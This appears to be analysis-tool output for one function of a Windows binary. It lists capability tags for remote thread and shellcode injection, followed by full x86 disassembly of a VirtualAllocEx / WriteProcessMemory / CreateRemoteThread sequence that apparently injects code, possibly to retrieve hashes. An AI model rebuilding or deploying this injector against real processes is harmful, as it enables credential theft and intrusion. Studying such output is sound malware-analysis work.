Function at 0x401290
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x2ac
mov eax, dword [0x40d050]
xor eax, esp
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2b8]
push ebx
mov ebx, dword [esp + 0x2b4]
push ebp
mov ebp, dword [esp + 0x2bc]
push esi
push edi
push str.Kernel32
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 3
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x40a2b0
push esi
call edi
push 0x40a2a0
push esi
mov dword [esp + 0x28], eax
call edi
push 0x40a294
push esi
mov dword [esp + 0x2c], eax
call edi
push str.OutputDebugStringA
push esi
mov dword [esp + 0x30], eax
call edi
push 0x32
lea ecx, [esp + 0x148]
push 0
push ecx
mov dword [esp + 0x38], eax
call fcn.00401cc0
push 0x32
lea edx, [esp + 0x154]
push ebp
push edx
call fcn.00401810
add esp, 0x18
push 0x104
lea eax, [esp + 0x1b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x1b4]
push 0x5c
push ecx
call fcn.00401690
mov edx, dword [0x40a270]
mov dword [eax + 1], edx
mov ecx, dword [0x40a274]
add eax, 1
mov dword [eax + 4], ecx
mov edx, dword [0x40a278]
mov dword [eax + 8], edx
mov cl, byte [0x40a27c]
push 0x104
lea edx, [esp + 0x1c0]
mov byte [eax + 0xc], cl
push edx
lea eax, [esp + 0x40]
push eax
call fcn.00401810
push 0x10
lea ecx, [esp + 0x14c]
push str.GetHash
push ecx
call fcn.00401810
mov edx, dword [esp + 0x2f0]
mov esi, dword [esp + 0x2ec]
push 0x32
lea eax, [esp + 0x1a4]
push 0
push eax
mov dword [esp + 0x1a8], edx
mov dword [esp + 0x1a4], esi
call fcn.00401cc0
mov ecx, dword [esp + 0x44]
push esi
push ecx
lea edx, [esp + 0x1b4]
push edx
call fcn.00401950
add esp, 0x38
call fcn.00401070
mov edi, eax
push 0x40
lea eax, [edi + 0x10]
push 0x1000
and eax, 0xfffffff0
add eax, 0x1a4
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x401433
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x1b8]
push str.VirtualAllocEx_failed:__d
push ecx
call fcn.0040178a
add esp, 0xc
jmp 0x401535
lea edx, [esp + 0x14]
push edx
push 0x194
lea eax, [esp + 0x28]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40146f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x1b8]
push str.WriteProcessMemory_failed:__d
push ecx
call fcn.0040178a
add esp, 0xc
jmp 0x401526
lea edx, [esp + 0x14]
push edx
push edi
lea ebp, [esi + 0x1a0]
call fcn.00401080
push eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4014ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x1b8]
push str.WriteProcessMemory_failed:__d
push eax
call fcn.0040178a
add esp, 0xc
jmp 0x401526
lea ecx, [esp + 0x1c]
push ecx
push 0
push esi
push ebp
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x4014e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x1b8]
push str.CreateRemoteThread_failed:__d
push edx
call fcn.0040178a
add esp, 0xc
jmp 0x40151b
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [esp + 0x10], 0xffffffff
jne 0x40151b
lea ecx, [esp + 0x30]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x1bc]
push str.Thread_code:__d__path:__s
push edx
call fcn.0040178a
add esp, 0x10
test edi, edi
je 0x401526
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [esp + 0x2b8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401934
add esp, 0x2ac
ret